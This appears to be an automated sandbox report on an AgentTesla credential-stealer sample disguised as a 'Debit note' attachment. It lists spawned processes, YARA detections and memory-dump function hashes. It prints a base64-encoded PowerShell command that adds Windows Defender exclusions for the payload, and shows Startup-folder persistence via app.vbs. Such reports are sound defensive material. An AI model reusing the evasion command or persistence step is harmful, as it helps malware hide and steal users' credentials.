Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:18:00
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x650000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:18:12
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABEAGUAYgBpAHQAIABuAG8AdABlACAALQBNAFMAUgBfADIAMAAyADQAXwAwADAAMgA0AC0AIABhAG4AZAAgAEEAdAB0AGEAYwBoAG0AZQBuAHQAcwAuAGMAbwBtAC4AZQB4AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABEAGUAcwBrAHQAbwBwAFwARABlAGIAaQB0ACAAbgBvAHQAZQAgAC0ATQBTAFIAXwAyADAAMgA0AF8AMAAwADIANAAtACAAYQBuAGQAIABBAHQAdABhAGMAaABtAGUAbgB0AHMALgBjAG8AbQAuAGUAeABlADsAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAYQBwAHAALgBlAHgAZQA=
Imagebase:	0xfd0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:18:12
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:18:14
Start date:	14/01/2025
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:18:17
Start date:	14/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x3e0000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.2106310737.00000000007B2000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2106310737.00000000007B2000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2109812273.00000000027DE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.2109812273.0000000002791000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.2109812273.0000000002791000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:18:17
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	13:18:17
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	13:18:18
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x650000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:18:26
Start date:	14/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\app.vbs"
Imagebase:	0x7ff7c9700000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:18:26
Start date:	14/01/2025
Path:	C:\Users\user\AppData\Roaming\app.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\app.exe"
Imagebase:	0x710000
File size:	48'032 bytes
MD5 hash:	58A83CBFBD24495D3427075426C7BB6C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.2185813369.0000000003A81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000F.00000002.2185813369.0000000003A81000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 0000000F.00000002.2161010732.0000000002AB0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:18:28
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /release
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:18:28
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:18:28
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /release
Imagebase:	0x650000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:18:41
Start date:	14/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x350000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000013.00000002.2932475445.000000000253C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000013.00000002.2932475445.000000000253C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000013.00000002.2932475445.000000000257E000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Target ID:	20
Start time:	13:18:41
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c ipconfig /renew
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:18:41
Start date:	14/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:18:41
Start date:	14/01/2025
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	ipconfig /renew
Imagebase:	0x650000
File size:	29'184 bytes
MD5 hash:	3A3B9A5E00EF6A3F83BF300E2B6B67BB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.2%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.1%
Total number of Nodes:	393
Total number of Limit Nodes:	42

Executed Functions

Function 06DFDB90 Relevance: 16.1, Strings: 12, Instructions: 1147COMMON

Download Yara Rule

Strings

$^q, xrefs: 06DFE4DA
$^q, xrefs: 06DFDFF7
$^q, xrefs: 06DFE471
$^q, xrefs: 06DFE097
$^q, xrefs: 06DFE4CA
$^q, xrefs: 06DFDFE7
$^q, xrefs: 06DFDE33
,bq, xrefs: 06DFE65A
4, xrefs: 06DFE575
$^q, xrefs: 06DFE481
$^q, xrefs: 06DFE0A7
$^q, xrefs: 06DFDE23

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: ,bq$4$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-312445597
Opcode ID: 41afdb2d46030eb3f48ceac40e3f176f8ae20fbd7196696b3d39a9eff684c781
Instruction ID: 7fa4f2d8bb18eaa5afd1ce73fcdd6d85bbd61b95f7737b3ae5093cfa3853ff80
Opcode Fuzzy Hash: 41afdb2d46030eb3f48ceac40e3f176f8ae20fbd7196696b3d39a9eff684c781
Instruction Fuzzy Hash: 57B21834A102289FDB54CFA5C884BADB7B6FF88700F158599E605AB3A5CB71EC85CF50

Function 06DFDEC7 Relevance: 8.0, Strings: 6, Instructions: 495COMMON

Download Yara Rule

Strings

$^q, xrefs: 06DFE471
$^q, xrefs: 06DFE097
$^q, xrefs: 06DFE4CA
$^q, xrefs: 06DFDFE7
,bq, xrefs: 06DFE65A
4, xrefs: 06DFE575

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: ,bq$4$$^q$$^q$$^q$$^q
API String ID: 0-2546334966
Opcode ID: e0ac69467b34c5ee664cac33864c958903628dfd877a40289e81c44bb0416b23
Instruction ID: 38d1d87eaf418c7e67ff6f5d2efd8bb682b3990216f4a93af1fcbf1ca298c162
Opcode Fuzzy Hash: e0ac69467b34c5ee664cac33864c958903628dfd877a40289e81c44bb0416b23
Instruction Fuzzy Hash: 92220834A10218DFDB64CFA5C984BADB7B2FF48700F1581A9D609AB2A5DB71ED81CF50

Function 06DF15DF Relevance: 7.0, Strings: 4, Instructions: 1954
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJcq, xrefs: 06DF16ED
$^q, xrefs: 06DF179B
$^q, xrefs: 06DF17F2
7[;!, xrefs: 06DF1EF0

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: 7[;!$TJcq$$^q$$^q
API String ID: 0-1206969336
Opcode ID: c51b744e2a0bc97e689e9ae6e0adcc5d3a0c11270df12c01e20a9f0e0493a006
Instruction ID: 3fd664bc4d2a07f82053f0b853babfaf75d0048b37b4ef368f5666d169f7ccbf
Opcode Fuzzy Hash: c51b744e2a0bc97e689e9ae6e0adcc5d3a0c11270df12c01e20a9f0e0493a006
Instruction Fuzzy Hash: CC13E17A500105EFDB568F84DC88E99BBB3FF49315B1680E9E6099B236C736D961EF00

Function 06BE4BA8 Relevance: 6.0, Strings: 4, Instructions: 983
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

TJcq, xrefs: 06BE4D4A
pbq, xrefs: 06BE5762
xbaq, xrefs: 06BE4CD5
Te^q, xrefs: 06BE52CB

Memory Dump Source

Source File: 00000000.00000002.1938907646.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: TJcq$Te^q$pbq$xbaq
API String ID: 0-1954897716
Opcode ID: b6a286e7b788d5e6aada96808130f226a5718ff704ff51c70b0af1e47ea657a6
Instruction ID: fc16892e87b5b6709d96aff43b8371e1a8cfbceb95a358f653f4363d5ffc2d54
Opcode Fuzzy Hash: b6a286e7b788d5e6aada96808130f226a5718ff704ff51c70b0af1e47ea657a6
Instruction Fuzzy Hash: 2CA2B475E00628CFDB65CF69C984A99BBB2FF89304F1581E9D509AB325DB319E81CF40

Function 065C3CF0 Relevance: 3.1, Strings: 2, Instructions: 613
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 065C3E0A
fcq, xrefs: 065C3E1D

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: fcq$8
API String ID: 0-89531850
Opcode ID: ae14b53a3231d76828ddb2ac2ee2eb77e895a7029da7e93d9835b3ecba97d654
Instruction ID: 412e693170bca5130a4d452c4a9fa3184a9956c6ab1efa916c3f221c9e139e01
Opcode Fuzzy Hash: ae14b53a3231d76828ddb2ac2ee2eb77e895a7029da7e93d9835b3ecba97d654
Instruction Fuzzy Hash: 7152D675E016298FDBA4DF69D850AD9B7B1FB89300F1086EAD909A7354DB30AE81CF50

Function 06BE6D59 Relevance: 2.6, Strings: 1, Instructions: 1342COMMON

Download Yara Rule

Strings

$^q, xrefs: 06BE73CA

Memory Dump Source

Source File: 00000000.00000002.1938907646.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: $^q
API String ID: 0-388095546
Opcode ID: 8649412f305ec5724220ff710d19ee8aef94b68e6241b8442fc5616a2a7027c0
Instruction ID: 3cad7e6d91b8f2965340df66de5cfe664c32e3ea9635c54cc9c09c1e48171ae0
Opcode Fuzzy Hash: 8649412f305ec5724220ff710d19ee8aef94b68e6241b8442fc5616a2a7027c0
Instruction Fuzzy Hash: 76E2E4B4A00229CFDB64DF69D88479DBBB6FB89305F1081EAD409A7364DB349E85CF41

Function 06CF8D30 Relevance: 2.3, Strings: 1, Instructions: 1004COMMON

Download Yara Rule

Strings

(bq, xrefs: 06CF9308

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: (bq
API String ID: 0-149360118
Opcode ID: 040b3f129fca8edfa28ace1ccca8e1a2c7db142c5a30af98df18b8d009fba95f
Instruction ID: 529924422c180a1ce849e1425a5e8d85c3dac8cef6b42dbebbe7664923965197
Opcode Fuzzy Hash: 040b3f129fca8edfa28ace1ccca8e1a2c7db142c5a30af98df18b8d009fba95f
Instruction Fuzzy Hash: 75827870A106158FCB95CF69C494B6EBBF2FF89300F24856AD65ACB391DB34E941CB81

Function 06CFF13F Relevance: 1.6, Strings: 1, Instructions: 325COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06CFF52A

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 587212d39d7171f27287a2ebfc8f9dd96e1a192df5453af0a96818e905803639
Instruction ID: 56d3347b72cdd3ec2298e673e2f7f5df833ab2c80a03134c6a98edcbedfba6f6
Opcode Fuzzy Hash: 587212d39d7171f27287a2ebfc8f9dd96e1a192df5453af0a96818e905803639
Instruction Fuzzy Hash: D8E13474E10218CFEBA4CFA9D884BADBBF2FB49304F2080AED519A7254DB745985CF41

Function 06CFF150 Relevance: 1.6, Strings: 1, Instructions: 315COMMON

Download Yara Rule

Strings

PH^q, xrefs: 06CFF52A

Memory Dump Source

Source File: 00000000.00000002.1940587001.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: PH^q
API String ID: 0-2549759414
Opcode ID: 89cefd16f4c928622a1352c134f33c8a5d376bf1917f83645876a2ed537cc613
Instruction ID: 34d5e5c1813411ef309c475f18b0d4558cbdfa588689b4affc2822b67b0ec7f0
Opcode Fuzzy Hash: 89cefd16f4c928622a1352c134f33c8a5d376bf1917f83645876a2ed537cc613
Instruction Fuzzy Hash: 7BD13574E14218CFEBA4CFA9D844BADBBF2FB49305F2080AED619A7254CB745985CF41

Function 065CAA21 Relevance: 1.6, APIs: 1, Instructions: 57nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 065CAA96

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: dafe0ccdf5b593c95d76af043ed81cf55d655b8e81f935c328c89ec17529aa7c
Instruction ID: 0e86a87e4a791cf52a3cbebef5286be218147c900a0093d42628c162773ed75e
Opcode Fuzzy Hash: dafe0ccdf5b593c95d76af043ed81cf55d655b8e81f935c328c89ec17529aa7c
Instruction Fuzzy Hash: 991108B1D002499FDB10DFAAD945AAEFBF4FF88324F10842ED459A7250C7749944CFA5

Function 065CAA28 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 065CAA96

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: b13250de0f8747cf7cec8900d5f448eeca7f71db67b1a7852fc14fabe7d12249
Instruction ID: 42ad1db880c13a52d00f666d2dfbfb80ad484f09843bcb374e034a07332b63af
Opcode Fuzzy Hash: b13250de0f8747cf7cec8900d5f448eeca7f71db67b1a7852fc14fabe7d12249
Instruction Fuzzy Hash: 6611E7B1D002498FDB10DFAAC9446AEFBF4FF88324F10842ED459A7250C775A944CFA5

Function 070FFAA0 Relevance: 1.5, Strings: 1, Instructions: 276COMMON

Download Yara Rule

Strings

Deq, xrefs: 070FFBA5

Memory Dump Source

Source File: 00000000.00000002.1942103729.00000000070E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 070E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_70e0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: Deq
API String ID: 0-948982800
Opcode ID: 675373e738445b3a36b49783855b5cccba5ec695bf15fec801cd15a5945d205a
Instruction ID: e92d80511b8cc30fb106f62c28c9830875ea8da8186a78e5735fc3b004cb6ce8
Opcode Fuzzy Hash: 675373e738445b3a36b49783855b5cccba5ec695bf15fec801cd15a5945d205a
Instruction Fuzzy Hash: 7ED1D0B4A00219CFDB54DFA9D980A9DBBF2FF88700F1081A9D409AB365DB35AD81CF41

Function 06DFA820 Relevance: 1.5, Strings: 1, Instructions: 258COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06DFABD1

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 6c18230a933b1c9d0ee33f0a9bfe50684fbf4d55c29ab57cc03ec56217ba4a08
Instruction ID: ccdb15ddfee2b27efbe1ee6e5ae57fac12f5a58b2e8f218ffeb9e408207c13e4
Opcode Fuzzy Hash: 6c18230a933b1c9d0ee33f0a9bfe50684fbf4d55c29ab57cc03ec56217ba4a08
Instruction Fuzzy Hash: DBB11270E10208DFEB94CFA9D984BADBBF2BB49301F1580AAD50DAB251DB749D85CF50

Function 06DFA811 Relevance: 1.5, Strings: 1, Instructions: 256COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06DFABD1

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: abdfbe984f45a496b8c90d0ddc8fdfbc2bf206e9db01f40c2ef4ded5c52d539f
Instruction ID: 5ebdbccb29e7722a2257841bd532de7042a840bade5e92d791b0055fe4eb8b3d
Opcode Fuzzy Hash: abdfbe984f45a496b8c90d0ddc8fdfbc2bf206e9db01f40c2ef4ded5c52d539f
Instruction Fuzzy Hash: 76B10174E10208DFEB94CFA9D984B9DBBF2BB49300F1580AAD50DAB250DB749D89CF50

Function 06DF7478 Relevance: 1.5, Strings: 1, Instructions: 246COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06DF753D

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: d9d829e3bab005725798ca96949a4a0b7555e5d23a8ef690ad3575bb57f1d1f5
Instruction ID: 1c3d5a442a46358b7da11174e505e7e6d269081a0fdec2f6defdaa4e6a9981cc
Opcode Fuzzy Hash: d9d829e3bab005725798ca96949a4a0b7555e5d23a8ef690ad3575bb57f1d1f5
Instruction Fuzzy Hash: 78A1FA70E15208CFEB94CFA9E884BEDBBB6FB49301F21906AD509A7355D7349985CF40

Function 06DF746A Relevance: 1.5, Strings: 1, Instructions: 245COMMON

Download Yara Rule

Strings

Te^q, xrefs: 06DF753D

Memory Dump Source

Source File: 00000000.00000002.1941825088.0000000006DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6df0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID: Te^q
API String ID: 0-671973202
Opcode ID: 027328a7ae43c999bc5f5b6e58cebc4474834bac8e21fe656191585116db5663
Instruction ID: 0cb59047a694f028db85c14d0a09526de083356fdba0ef50f5714ca3a7b8d614
Opcode Fuzzy Hash: 027328a7ae43c999bc5f5b6e58cebc4474834bac8e21fe656191585116db5663
Instruction Fuzzy Hash: 39A1F870E10208DFEB94CFA9E884BEDBBB6FB89301F21806AD509A7355D7349985CF40

Function 06BE86CB Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1938907646.0000000006BE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06BE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6be0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eda71ded42bdd6c4fcc28ffcdb2408df284b97c3d4f5f887d716ab39c795b91
Instruction ID: 6e20d68a6d7ad8970a5a4a321541a2463473e6bc095bd92faf46772915edd5b5
Opcode Fuzzy Hash: 3eda71ded42bdd6c4fcc28ffcdb2408df284b97c3d4f5f887d716ab39c795b91
Instruction Fuzzy Hash: 7C52B3B4A00629CFDBA0DF28C984B9AB7B6FB49301F1085D9D90DA7355DB30AE85CF51

Function 065C8EF8 Relevance: .3, Instructions: 304COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb6a9a1c22ad0434c63a9f519ae99560f82642468a009fa4faaa1c37d5d1d753
Instruction ID: b359547c55258a373206cac2de967658ac5025819812e43c580aa1bdd1f57409
Opcode Fuzzy Hash: cb6a9a1c22ad0434c63a9f519ae99560f82642468a009fa4faaa1c37d5d1d753
Instruction Fuzzy Hash: 7DD111B0D05219CFEBA0CFA9C884BEDBBF2FB49315F1084AAD509A7291D7785985CF50

Function 065C8EE8 Relevance: .3, Instructions: 287COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1937124691.00000000065C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65c0000_Debit note -MSR_2024_0024- and Attachments.jbxd

Similarity

API ID:
String ID:
API String ID:
